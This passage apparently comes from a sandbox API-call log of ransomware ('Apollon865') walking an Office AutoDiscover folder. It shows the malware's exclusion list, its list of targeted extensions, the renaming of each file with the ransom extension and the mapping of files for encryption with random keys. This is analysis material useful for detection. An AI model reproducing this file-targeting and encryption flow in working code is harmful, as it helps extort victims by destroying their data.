	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="temp") returned -1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="pagefile.sys") returned 1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="boot") returned 1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="ids.txt") returned 1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="ntuser.dat") returned 1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="perflogs") returned 1
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2="MSBuild") returned 1
	[0069.931] lstrlenW (lpString="ROGERS.COM.XML") returned 14
	[0069.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML") returned 78
	[0069.931] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ROGERS.COM.XML" | out: lpString1="ROGERS.COM.XML") returned="ROGERS.COM.XML"
	[0069.931] lstrlenW (lpString="ROGERS.COM.XML") returned 14
	[0069.931] lstrlenW (lpString="Apollon865") returned 10
	[0069.931] lstrcmpiW (lpString1="RS.COM.XML", lpString2="Apollon865") returned 1
	[0069.931] lstrlenW (lpString=".dll") returned 4
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2=".dll") returned 1
	[0069.931] lstrlenW (lpString=".lnk") returned 4
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2=".lnk") returned 1
	[0069.931] lstrlenW (lpString=".ini") returned 4
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2=".ini") returned 1
	[0069.931] lstrlenW (lpString=".sys") returned 4
	[0069.931] lstrcmpiW (lpString1="ROGERS.COM.XML", lpString2=".sys") returned 1
	[0069.931] lstrlenW (lpString="ROGERS.COM.XML") returned 14
	[0069.931] lstrlenW (lpString="bak") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.931] lstrlenW (lpString="ba_") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.931] lstrlenW (lpString="dbb") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.931] lstrlenW (lpString="vmdk") returned 4
	[0069.931] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.931] lstrlenW (lpString="rar") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.931] lstrlenW (lpString="zip") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.931] lstrlenW (lpString="tgz") returned 3
	[0069.931] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.931] lstrlenW (lpString="vbox") returned 4
	[0069.932] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.932] lstrlenW (lpString="vdi") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.932] lstrlenW (lpString="vhd") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.932] lstrlenW (lpString="vhdx") returned 4
	[0069.932] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.932] lstrlenW (lpString="avhd") returned 4
	[0069.932] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.932] lstrlenW (lpString="db") returned 2
	[0069.932] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.932] lstrlenW (lpString="db2") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.932] lstrlenW (lpString="db3") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.932] lstrlenW (lpString="dbf") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.932] lstrlenW (lpString="mdf") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.932] lstrlenW (lpString="mdb") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.932] lstrlenW (lpString="sql") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.932] lstrlenW (lpString="sqlite") returned 6
	[0069.932] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1
	[0069.932] lstrlenW (lpString="sqlite3") returned 7
	[0069.932] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1
	[0069.932] lstrlenW (lpString="sqlitedb") returned 8
	[0069.932] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1
	[0069.932] lstrlenW (lpString="xml") returned 3
	[0069.932] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.932] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.Apollon865") returned 88
	[0069.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.933] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=818) returned 1
	[0069.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.934] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.934] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.934] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.935] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0069.936] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0069.937] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.937] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.937] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.938] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.938] CloseHandle (hObject=0x118) returned 1
	[0069.938] CloseHandle (hObject=0xc0) returned 1
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.938] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="SBCGLO~1.XML")) returned 1
	[0069.938] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.938] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.938] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2=".") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="..") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="windows") returned -1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="bootmgr") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="temp") returned -1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="pagefile.sys") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="boot") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="ids.txt") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="perflogs") returned 1
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2="MSBuild") returned 1
	[0069.939] lstrlenW (lpString="SBCGLOBAL.NET.XML") returned 17
	[0069.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML") returned 77
	[0069.939] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SBCGLOBAL.NET.XML" | out: lpString1="SBCGLOBAL.NET.XML") returned="SBCGLOBAL.NET.XML"
	[0069.939] lstrlenW (lpString="SBCGLOBAL.NET.XML") returned 17
	[0069.939] lstrlenW (lpString="Apollon865") returned 10
	[0069.939] lstrcmpiW (lpString1="AL.NET.XML", lpString2="Apollon865") returned -1
	[0069.939] lstrlenW (lpString=".dll") returned 4
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2=".dll") returned 1
	[0069.939] lstrlenW (lpString=".lnk") returned 4
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2=".lnk") returned 1
	[0069.939] lstrlenW (lpString=".ini") returned 4
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2=".ini") returned 1
	[0069.939] lstrlenW (lpString=".sys") returned 4
	[0069.939] lstrcmpiW (lpString1="SBCGLOBAL.NET.XML", lpString2=".sys") returned 1
	[0069.939] lstrlenW (lpString="SBCGLOBAL.NET.XML") returned 17
	[0069.939] lstrlenW (lpString="bak") returned 3
	[0069.939] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.939] lstrlenW (lpString="ba_") returned 3
	[0069.939] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.939] lstrlenW (lpString="dbb") returned 3
	[0069.939] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.939] lstrlenW (lpString="vmdk") returned 4
	[0069.939] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.939] lstrlenW (lpString="rar") returned 3
	[0069.939] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.939] lstrlenW (lpString="zip") returned 3
	[0069.939] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.940] lstrlenW (lpString="tgz") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.940] lstrlenW (lpString="vbox") returned 4
	[0069.940] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.940] lstrlenW (lpString="vdi") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.940] lstrlenW (lpString="vhd") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.940] lstrlenW (lpString="vhdx") returned 4
	[0069.940] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.940] lstrlenW (lpString="avhd") returned 4
	[0069.940] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.940] lstrlenW (lpString="db") returned 2
	[0069.940] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.940] lstrlenW (lpString="db2") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.940] lstrlenW (lpString="db3") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.940] lstrlenW (lpString="dbf") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.940] lstrlenW (lpString="mdf") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.940] lstrlenW (lpString="mdb") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.940] lstrlenW (lpString="sql") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.940] lstrlenW (lpString="sqlite") returned 6
	[0069.940] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1
	[0069.940] lstrlenW (lpString="sqlite3") returned 7
	[0069.940] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1
	[0069.940] lstrlenW (lpString="sqlitedb") returned 8
	[0069.940] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1
	[0069.940] lstrlenW (lpString="xml") returned 3
	[0069.940] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.940] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.Apollon865") returned 91
	[0069.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.942] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=816) returned 1
	[0069.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.943] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.944] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.944] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.944] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.945] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.946] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.947] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.947] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.947] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.948] CloseHandle (hObject=0x118) returned 1
	[0069.948] CloseHandle (hObject=0xc0) returned 1
	[0069.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.948] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="SNETNE~1.XML")) returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2=".") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="..") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="windows") returned -1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="bootmgr") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="temp") returned -1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="pagefile.sys") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="boot") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="ids.txt") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="ntuser.dat") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="perflogs") returned 1
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2="MSBuild") returned 1
	[0069.948] lstrlenW (lpString="SNET.NET.XML") returned 12
	[0069.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML") returned 80
	[0069.948] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SNET.NET.XML" | out: lpString1="SNET.NET.XML") returned="SNET.NET.XML"
	[0069.948] lstrlenW (lpString="SNET.NET.XML") returned 12
	[0069.948] lstrlenW (lpString="Apollon865") returned 10
	[0069.948] lstrcmpiW (lpString1="ET.NET.XML", lpString2="Apollon865") returned 1
	[0069.948] lstrlenW (lpString=".dll") returned 4
	[0069.948] lstrcmpiW (lpString1="SNET.NET.XML", lpString2=".dll") returned 1
	[0069.948] lstrlenW (lpString=".lnk") returned 4
	[0069.949] lstrcmpiW (lpString1="SNET.NET.XML", lpString2=".lnk") returned 1
	[0069.949] lstrlenW (lpString=".ini") returned 4
	[0069.949] lstrcmpiW (lpString1="SNET.NET.XML", lpString2=".ini") returned 1
	[0069.949] lstrlenW (lpString=".sys") returned 4
	[0069.949] lstrcmpiW (lpString1="SNET.NET.XML", lpString2=".sys") returned 1
	[0069.949] lstrlenW (lpString="SNET.NET.XML") returned 12
	[0069.949] lstrlenW (lpString="bak") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.949] lstrlenW (lpString="ba_") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.949] lstrlenW (lpString="dbb") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.949] lstrlenW (lpString="vmdk") returned 4
	[0069.949] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.949] lstrlenW (lpString="rar") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.949] lstrlenW (lpString="zip") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.949] lstrlenW (lpString="tgz") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.949] lstrlenW (lpString="vbox") returned 4
	[0069.949] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.949] lstrlenW (lpString="vdi") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.949] lstrlenW (lpString="vhd") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.949] lstrlenW (lpString="vhdx") returned 4
	[0069.949] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.949] lstrlenW (lpString="avhd") returned 4
	[0069.949] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.949] lstrlenW (lpString="db") returned 2
	[0069.949] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.949] lstrlenW (lpString="db2") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.949] lstrlenW (lpString="db3") returned 3
	[0069.949] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.949] lstrlenW (lpString="dbf") returned 3
	[0069.950] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.950] lstrlenW (lpString="mdf") returned 3
	[0069.950] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.950] lstrlenW (lpString="mdb") returned 3
	[0069.950] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.950] lstrlenW (lpString="sql") returned 3
	[0069.950] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.950] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.Apollon865") returned 86
	[0069.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.952] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0069.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.952] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.953] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.953] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.953] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.954] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.955] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.956] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.956] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
